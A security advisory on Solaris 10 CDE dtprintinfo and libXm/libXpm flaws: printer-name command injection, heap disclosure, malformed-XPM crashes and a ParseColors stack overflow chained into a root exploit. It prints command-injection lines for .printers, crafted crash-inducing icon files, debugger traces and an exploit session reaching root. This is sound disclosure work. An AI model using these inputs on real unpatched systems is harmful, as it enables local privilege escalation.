--[ HNS-2022-01 - HN Security Advisory - https://security.humanativaspa.it/ * Title: Multiple vulnerabilities in Solaris dtprintinfo and libXm/libXpm * Products: Common Desktop Environment 1.6, Motif 2.1, X.Org libXpm < 3.5.15 * OS: Oracle Solaris 10 (CPU January 2021) * Author: Marco Ivaldi * Date: 2023-01-18 * Oracle vulnerability tracking numbers: * S1597707 - Arbitrary printer name injection * S1597724 - Heap memory disclosure via long printer names * S1597711 - Memory corruption via malformed icon files * S1597730 - Stack-based buffer overflow in libXm ParseColors * CVE IDs: * CVE-2022-46285 - Infinite loop on unclosed comments in X.Org libXpm * Advisory URLs: * https://github.com/hnsecurity/vulns/blob/main/HNS-2022-01-dtprintinfo.txt * https://lists.x.org/archives/xorg-announce/2023-January/003312.html * https://lists.x.org/archives/xorg-announce/2023-January/003313.html * Exploit URLs: * https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c --[ 0 - Table of contents 1 - Summary 2 - Vulnerabilities 2.1 - Arbitrary printer name injection 2.2 - Heap memory disclosure via long printer names 2.3 - Memory corruption via malformed icon files 2.4 - Stack-based buffer overflow in libXm ParseColors() 3 - Analysis 3.1 - Printer name injection and heap memory disclosure 3.2 - Memory corruption via malformed icon files 4 - Exploitation 5 - Affected products 6 - Remediation 7 - Disclosure timeline 8 - References --[ 1 - Summary "What has been will be again, what has been done will be done again; there is nothing new under the Sun." -- Ecclesiastes 1:9 We have identified multiple security vulnerabilities that are exploitable via the the setuid-root dtprintinfo binary from the Common Desktop Environment (CDE) distributed with Oracle Solaris 10 (CPU January 2021): * A bug in the parser of the lpstat external command invoked by dtprintinfo to list the names of available printers allows low-privileged local users to inject arbitrary printer names via the $HOME/.printers file. * Printer name injection allows low-privileged local users to manipulate the control flow of the target program and disclose memory contents. Based on our analysis, this bug does not seem to be directly exploitable to achieve arbitrary code execution. However, we recommend treating it as a potential security vulnerability and fix it as such. * The ability to inject arbitrary printer names opens other attack vectors that otherwise would not be available on systems without configured printers. As an example, we discovered multiple icon parsing bugs in the Motif library libXm that cause memory corruption. We demonstrated the possibility to exploit one of these memory corruption bugs, a stack-based buffer overflow in the ParseColors() function of libXm, to achieve local privilege escalation to root on Solaris 10. --[ 2 - Vulnerabilities Following our last CDE vulnerability disclosures [1], Oracle kindly shared with us a copy of their then current Solaris 10 security patch set (CPU January 2021), so that we could install it in our lab and verify the fixes for the bugs we had reported. In addition to verifying these fixes, we decided to take a closer look at the dtprintinfo program distributed with CDE, because of its complexity and its impressive historical record of high-impact vulnerabilities [2]. These are the results of our research. --[ 2.1 - Arbitrary printer name injection After fruitlessly spending a few days reversing and auditing the patched version of dtprintinfo, we came up with the idea of using the poor man's fuzzer below to quickly check for the presence of flaws in the parsing of the $HOME/.printers file: bash-3.2$ cat /dev/urandom > ~/.printers ^C Indeed, this led to immediate results. It turns out that it is possible to inject fake printers to be displayed by dtprintinfo. To do so, we need to craft a .printers file that contains at least one line in the following format: :<\n> Where can be any string, including most special characters, and can either be a space (0x20) or a tab (0x09) character. For instance, the following line will inject a fake printer named "FOO": FOO : Since dtprintinfo uses printer names as arguments for some external commands that it invokes, it is possible to abuse this flaw to inject arbitrary commands. For instance, to execute an injected command when we double-click on a printer icon in the X11 GUI, we can craft a .printers file that contains lines such as the following (space and tab characters cannot be used in the injected command string for obvious reasons): FOO;/usr/bin/id>/tmp/pwned; : BAR;/usr/bin/cat ~/.printers bash-3.2$ ln ~/.printers ~/.printers.new Then, trace dtprintinfo's execution via a setuid-root truss program to log access to interesting memory addresses: bash-3.2$ export DISPLAY=:0 bash-3.2$ truss -fae -u '*' -u a.out /usr/dt/bin/dtprintinfo -all 2> OUT At this point, in dtprintinfo's GUI: * Select "View" > "Select Printers to Show..." from the menu. * Select the injected printer to be shown. * Click on "Apply" and then click on "OK". * Select "Printers" > "Exit" from the menu, closing dtprintinfo. Now, examining the .printers file modified by dtprintinfo while it was running, we can notice that it contains non-printable characters, which are in fact leaked heap memory contents. For instance: bash-3.2$ od -x ~/.printers 0000000 615f 6c6c 5c20 460a 4f4f 413b 4141 4141 0000020 4141 4141 4141 4141 4141 4141 4141 4141 * 0001000 4141 4141 4141 4141 4141 3b41 0a2c 4141 0001020 4141 4141 4141 4141 4141 4141 4141 4141 * 0001400 4141 4141 4141 4141 4141 4141 4141 e948 0001420 0810 6938 0810 0409 410a 4141 4141 4141 ^^^^^^^^^ << 0x08106938 0001440 4141 4141 2c3b 000a 0001447 By observing the output of truss, we can find the example leaked memory address highlighted above: -> __0fJContainerLInnerWidgetv(0x8105ea8) <- __0fJContainerLInnerWidgetv() = 0x8106938 ^^^^^^^^^ -> libXm:_XmManagerGetValuesHook(0x8106938, 0xfe6a1820, 0x8047840) ^^^^^^^^^ ... -> __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec(0x8106d60, 0x8105ea8, 0x8086c3f, 0x0) -> __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD(0x8106d60, 0x8106938, 0xfe62bd00, 0x8106dd0) ^^^^^^^^^ By playing with different printer name lengths between 256 and 1024 bytes and/or clicking on "Apply" or "OK" multiple times, we can leak different heap memory contents. The "Set Default" button can be used to cause a similar .printers file corruption. In addition, instead of injecting a single long printer name, we can trigger the same bug by injecting a long list of regular printer names and selecting them to be shown in dtprintinfo's GUI. --[ 2.3 - Memory corruption via malformed icon files The ability to inject arbitrary printer names opens other attack vectors that otherwise would not be available on systems without configured printers. In fact, only privileged users can create or update printing configuration in /etc/printers.conf, usually via /usr/sbin/printmgr or /usr/bin/lpset. One such vector we thought that was worth exploring is the parsing of printer icons in the XPM format [3]. A low-privileged local user can supply his or her own icons for dtprintinfo to show by placing them in the $HOME/.dt/icons directory and selecting them in the X11 GUI. A bug in the XPM parser could easily lead to memory corruption and privilege escalation. To prove our point, we built a rudimentary mutation fuzzer written in Python and we unearthed a few icon parsing bugs in the libXm library (/usr/dt/lib/libXm.so.4) used by CDE, that was originally part of the Motif toolkit [4]. As a starter, the following malformed icon file with an unbalanced comment block will crash dtprintinfo: /* XPM */ static char * sample_xpm[] = { "15 19 6 1", " c None", ". c #FFFFFF", "+ c #000000", "@ c #99FFCC", "# c #66CCCC", "$ c #339966", /* CRASH ".+++++++++++++.", "+@@@@@@@@@@@@#+", "+@###########$+", "+@###....####$+", "+@##......###$+", "+@#...$$...##$+", "+@#..$$##..$#$+", "+@##$$##...$#$+", "+@#####...$$#$+", "+@####...$$##$+", "+@####..$$###$+", "+@####..$####$+", "+@#####$$####$+", "+@####..#####$+", "+@####..$####$+", "+@#####$$####$+", "+@###########$+", "+#$$$$$$$$$$$$+", ".+++++++++++++."}; To reproduce the crash, inject an arbitrary printer as described earlier and perform the following actions: * Craft the malformed XPM icon above in the following files in ~/.dt/icons: crash.l.pm crash.m.pm crash.t.pm * Launch dtprintinfo with proper command-line options (e.g., -all). * Select the injected printer, and click on "Selected" > "Properties...". * Click on "Find Set..." and choose "~/.dt/icons" from the drop-down menu. After a short while, dtprintinfo should segfault: Program terminated with signal 11, Segmentation fault. #0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4 (gdb) x/i $pc 0xfed322c8 : mov (%edi),%ah (gdb) i r eax 0x8045bff 134503423 ecx 0x80456f0 134502128 edx 0xfe972be0 -23647264 ebx 0xfee90000 -18284544 esp 0x8024fbc 0x8024fbc ebp 0x8024fdc 0x8024fdc esi 0x7 7 edi 0xfeffffff -16777217 eip 0xfed322c8 0xfed322c8 ... (gdb) bt #0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4 #1 0xfed321dc in _XmxpmNextString () from /usr/dt/lib/libXm.so.4 #2 0xfed3392a in ParsePixels () from /usr/dt/lib/libXm.so.4 #3 0xfed32511 in _XmxpmParseData () from /usr/dt/lib/libXm.so.4 #4 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4 #5 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1 #6 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1 #7 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD () #8 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec () #9 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec () #10 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT () #11 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT () ... At a glance, this does not look exploitable. A much better-looking crash can be triggered with the following malformed icon file: 00000000: 2f2a 2058 504d 202a 2f0a 7374 6174 6963 /* XPM */.static 00000010: 2063 6861 7220 2a78 6d61 6e5b 5d20 3d20 char *xman[] = 00000020: 7b0a 2f2a 2077 6964 7468 2068 6569 6768 {./* width heigh 00000030: 7420 6e63 6f6c 6f72 7320 6368 6172 735f t ncolors chars_ 00000040: 7065 725f 7069 7865 6c20 2a2f 0a22 3820 per_pixel */."8 00000050: 3820 3320 3122 2c0a 2f2a 2063 6f6c 6f72 8 3 1",./* color 00000060: 7320 2a2f 0a22 6520 6734 2062 6c61 636b s */."e g4 black 00000070: 2063 2070 616c 6520 7475 7271 756f 6973 c pale turquois 00000080: 6520 3422 2c0a 22fe 206d 2077 6869 7465 e 4",.". m white ^^ << this 0xfe byte triggers the crash 00000090: 2063 206c 6967 6874 2067 6f6c 6465 6e20 c light golden 000000a0: 726f 6420 7965 6c6c 6f77 2067 3420 6772 rod yellow g4 gr 000000b0: 6579 222c 0a22 6720 6720 7768 6974 6520 ey",."g g white 000000c0: 6320 6c65 6d6f 6e20 6368 6966 666f 6e20 c lemon chiffon 000000d0: 6d20 626c 6163 6b22 2c0a 2f2a 2070 6978 m black",./* pix 000000e0: 656c 7320 2a2f 0a22 6565 6565 6565 6565 els */."eeeeeeee 000000f0: 222c 0a22 6666 6666 6666 6666 222c 0a22 ",."ffffffff",." 00000100: 6767 6767 6767 6767 222c 0a22 6767 6767 gggggggg",."gggg 00000110: 6767 6767 220a 7d3b 0a gggg".};. Program terminated with signal 11, Segmentation fault. #0 0x027efed3 in ?? () (gdb) i r eax 0xfe634c80 -27046784 ecx 0x3 3 edx 0x0 0 ebx 0xfee90002 -18284542 esp 0x8045668 0x8045668 ebp 0x80456d0 0x80456d0 esi 0x80460d0 134504656 edi 0x80456f0 134502128 eip 0x27efed3 0x27efed3 ... #0 0x027efed3 in ?? () #1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4 #2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4 #3 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1 #4 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1 #5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD () #6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec () #7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec () #8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT () #9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT () It looks like we have at least partial control over the eip register! A promising crash indeed... An interesting variation that can help shed light on the reasons of this crash can be obtained by replacing the 0xfe byte with 0xff: Program terminated with signal 11, Segmentation fault. #0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4 (gdb) x/i $pc 0xfed20268 <_XmxpmFreeColorTable@plt>: jmp *0x19ec(%ebx) (gdb) i r eax 0xfe62d680 -27076992 ecx 0x3 3 edx 0x0 0 ebx 0x20000 131072 esp 0x8045668 0x8045668 ebp 0x80456d0 0x80456d0 esi 0x80460d0 134504656 edi 0x80456f0 134502128 eip 0xfed20268 0xfed20268 <_XmxpmFreeColorTable@plt> ... #0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4 #1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4 #2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4 #3 0xfeef9ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1 #4 0xfeef9b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1 #5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD () #6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec () #7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec () #8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT () #9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT () Based on our quick analysis, ebx gets corrupted in ParsePixels() and then its value is used to calculate a jump location by code in the .plt section. We have not deeply investigated these instances of memory corruption and we have not seriously fuzzed libXm's XPM parser. We would like to leave further exploration of this attack vector, as well as any vulnerabilities in other libraries used by dtprintinfo, as an exercise for you, dear readers. ;) --[ 2.4 - Stack-based buffer overflow in libXm ParseColors() After our brief but intense artisanal fuzzing experience, before giving up on dtprintinfo and going for some fancier target, it was time to go back to static analysis for a short while, specifically targeting the apparently weak libXm library. We fired up our Rhabdomancer Ghidra script [5] to quickly find locations in the library where unsafe API functions are called, using them as starting points for our binary audit. Among some interesting candidate points, the following one stood up, in the familiar ParseColors() function that we had already encountered while analyzing the crashes produced by our XPM fuzzer: int ParseColors(int *data, uint ncolors, uint cpp, undefined4 *colorTablePtr, undefined4 hashtable) { ... char local_83c[1024]; char local_43c[1024]; ... local_c = _XmxpmNextWord(local_34, local_83c, 0x400); ... local_83c[local_c] = '\0'; strcat(local_43c, local_83c); /* VULN */ } A perfect specimen of stack-based buffer overflow! We have found yet another memory corruption bug in the parsing of printer icons in the XPM format. This one has a high likelihood of being exploitable to achieve arbitrary code execution and local privilege escalation. --[ 3 - Analysis Let's briefly analyze what causes the identified vulnerabilities. --[ 3.1 - Printer name injection and heap memory disclosure The arbitrary printer name injection and heap memory disclosure bugs have the following root causes: * The /usr/bin/lpstat external command invoked by dtprintinfo to list the names of available printers has a flawed parser, which allows low-privileged local users to inject arbitrary printer names in the user-controllable $HOME/.printers file: bash-3.2$ cat ~/.printers FOO;AAA; : bash-3.2$ lpstat -v system for FOO;AAA;: (null) (as lpd://(null)/printers/) From our point of view, this in itself is not a big deal. Since lpstat is executed after dropping privileges, we could in theory inject our own code into this process anyway and control its behavior. For this reason, we have not investigated lpstat any further. The real problem here is architectural: dtprintinfo's functionality should be self-contained and should not depend on external programs. This is not a robust design and has led to more impactful vulnerabilities in the past [6]. * The dtprintinfo program blindly trusts the output of lpstat without validating it. This allows low-privileged local users to craft potentially dangerous inputs (such as printer names that are expected to be in a consistent format), thus altering its behavior. * Finally, the DtConfigPrinters::UpdateMainPrtList() method called by the DtConfigPrinters::ApplyCB() and DtConfigPrinters::OkCB() callback methods, when updating the .printers file, writes some additional bytes after the actual printer names, thus corrupting the file contents. This is caused by the fact that the DtConfigPrinters::readContinuedLine() method called by DtConfigPrinters::UpdateMainPrtList() does not terminate the returned buffer if it reads a line longer than 256 bytes that does not contain a '\n' character. This non-terminated, heap-allocated buffer is later passed to fprintf(), which then writes some characters that reside past the logical end of the buffer to the .printers file, until a NUL byte is found. This is how we get the observed memory disclosure. Based on our analysis, the described memory disclosure bug does not seem to be directly exploitable to achieve arbitrary code execution and local privilege escalation. However, as usual, feel free to prove us wrong! All considered, we recommend treating this bug as a potential security vulnerability and fixing it as such. --[ 3.2 - Memory corruption via malformed icon files The stack-based buffer overflow in the ParseColors() function of libXm is caused by the unchecked use of the unsafe API function strcat(). This vulnerability can be triggered via a specially crafted XPM icon with long color strings. We have not spent much time analyzing the root causes of the crashes reported by our XPM fuzzer. We recommend extensively auditing and fuzzing libXm and the other libraries distributed with CDE that are used by privileged programs. A quick manual audit and a few runs of our rudimentary mutation fuzzer were enough to discover some shallow and dangerous memory corruption bugs in the XPM parser. We expect more bugs to be present in such ancient code. --[ 4 - Exploitation We have created a proof-of-concept exploit [7] that chains together the printer name injection bug and the stack-based buffer overflow we have identified in libXm. It allows a low-privileged local user to escalate his or her privileges to those of the root user on Intel-based Solaris 10 systems with the latest patches installed (tested on CPU January 2021). The exploit code is extensively commented and should be self-explanatory. An example attack session follows: $ uname -a SunOS nostalgia 5.10 Generic_153154-01 i86pc i386 i86pc $ id uid=54322(raptor) gid=1(other) $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall $ ./raptor_dtprintlibXmas 10.0.0.109:0 raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE Copyright (c) 2023 Marco Ivaldi Using SI_PLATFORM : i86pc (5.10) Using stack base : 0x8047fff Using safe address : 0x8045790 Using rwx_mem address : 0xfeffa004 Using sc address : 0x8047fac Using sprintf() address : 0xfefd1250 Path of target binary : /usr/dt/bin/dtprintinfo # id uid=0(root) gid=1(other) Our exploit uses dtprintinfo as an attack vector to abuse one of the vulnerabilities we discovered in libXm and escalate privileges to root. Other vectors are potentially available to local and remote attackers, such as other setuid or setgid binaries, daemons, and client applications that use of the vulnerable library. As an example, the dticon application has been confirmed to be affected by our stack-based buffer overflow. --[ 5 - Affected products The Common Desktop Environment 1.6 and Motif 2.1 distributed with Oracle Solaris 10 are affected by the vulnerabilities discussed in this advisory. All tests were conducted on the following Solaris 10 system, patched with CPU January 2021: bash-3.2$ showrev -a Hostname: nostalgia Hostid: 367f0939 Release: 5.10 Kernel architecture: i86pc Application architecture: i386 Kernel version: SunOS 5.10 Generic_153154-01 OpenWindows version: Solaris X11 Version 6.6.2 14 August 2019 ... Solaris 10 for the SPARC architecture and older versions of the Solaris operating system are also likely vulnerable. Oracle Solaris 11.4 does not ship CDE or Motif by default. In addition, in the xpmParseColors() function of the libXpm library shipped with Solaris 11.4, calls to the unsafe strcat() API function were replaced with calls to strlcat(), which if used properly prevents buffer overflows. Solaris 11.4 in its default configuration and libXpm are only affected by the first crash we identified, caused by an unbalanced comment block. Please note that we have not conducted an audit on libXpm, which may contain other bugs. CDE 2.5.1 [8] is the latest version (at the time of this writing) of the open-source fork of the Common Desktop Environment. Following our previous vulnerability disclosures, their dtprintinfo binary is not installed setuid-root anymore. Therefore, CDE 2.5.1 is not directly affected by the vulnerabilities discussed in this advisory. Please note that we have not conducted an audit on the open-source CDE's codebase, which may contain other bugs. Motif 2.3.8 [9] is the latest version (at the time of this writing) of the open-source Motif project that includes the libXm library. In the xpmParseColors() function, calls to the unsafe strcat() API function were replaced with calls to the STRLCAT() macro, which if used properly prevents buffer overflows. Therefore, Motif 2.3.8 is not affected by the vulnerabilities discussed in this advisory. Please note that we have not conducted an audit on Motif's codebase, which may contain other bugs. --[ 6 - Remediation Oracle assigned the following tracking numbers to our vulnerability reports: * S1597707 - Arbitrary printer name injection * S1597724 - Heap memory disclosure via long printer names * S1597711 - Memory corruption via malformed icon files * S1597730 - Stack-based buffer overflow in libXm ParseColors No fixes have been issued for Solaris 10. See the disclosure timeline below for further details. As a partial workaround, it is possible to remove the setuid bit from the dtprintinfo binary as follows (note that this might prevent it from working properly): bash-3.2# chmod -s /usr/dt/bin/dtprintinfo --[ 7 - Disclosure timeline 2022-01-18: Oracle was notified via . 2022-01-19: Oracle acknowledged our vulnerability reports. 2022-04-20: Asked Oracle to provide an update on the patch release date. 2022-04-21: Oracle replied they could not comment on the patch release date. 2022-09-03: Asked Oracle for an update and informed them of our plan to publish a detailed advisory and a blog post before the end of 2022. 2022-09-12: Oracle replied they are working on the bugs and will be able to give an update closer to the next CPU, scheduled for October. 2022-10-18: Oracle informed us that the vulnerabilities will be fixed in their CPU of January 2023. 2022-12-20: With a surprise move, Oracle informed us that Solaris 10 desktop components have reached EOL and are no longer supported. Therefore, Oracle will not be releasing patches for bugs affecting Solaris 10. They will work with X.Org to get a fix and an advisory released upstream for the first crash we identified in libXm, which also affects X.Org libXpm. This denial of service bug will be fixed in Solaris 11.4. As a final note, it appears that the buffer overflows we discovered in ParsePixels() and ParseColors() were already reported by Chris Evans in 2004 and tracked as CVE-2004-0687 (https://security.appspot.com/security/CESA-2004-003.txt). Due to an incomplete fix, they were not patched in Solaris 10 and have survived in the code for 19 years! Since no patches for Solaris 10 will be released, these issues have officially become #ForeverDay bugs. 2023-01-17: X.Org released libXpm 3.5.15, which fixes CVE-2022-46285 (infinite loop on unclosed comments in X.Org libXpm). Oracle published their CPU January 2023, which unfortunately does not include fixes for our bugs that affect Solaris 10. 2023-01-18: Oracle informed us that Solaris 10 desktop components have reached EOL at the end of 2019. EOL is documented in support note 1400676.1, behind the paywall for Oracle's customers with current support contracts. HN Security published this advisory and a local privilege escalation exploit. --[ 8 - References [1] https://github.com/0xdea/raptor_infiltrate20 [2] https://www.exploit-db.com/search?q=dtprintinfo [3] https://www.xfree86.org/current/xpm.pdf [4] http://www.opengroup.org/desktop/motif.html [5] https://github.com/0xdea/ghidra-scripts/blob/main/Rhabdomancer.java [6] https://github.com/0xdea/raptor_infiltrate19 [7] https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c [8] https://sourceforge.net/projects/cdesktopenv/ [9] https://sourceforge.net/projects/motif/ Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved.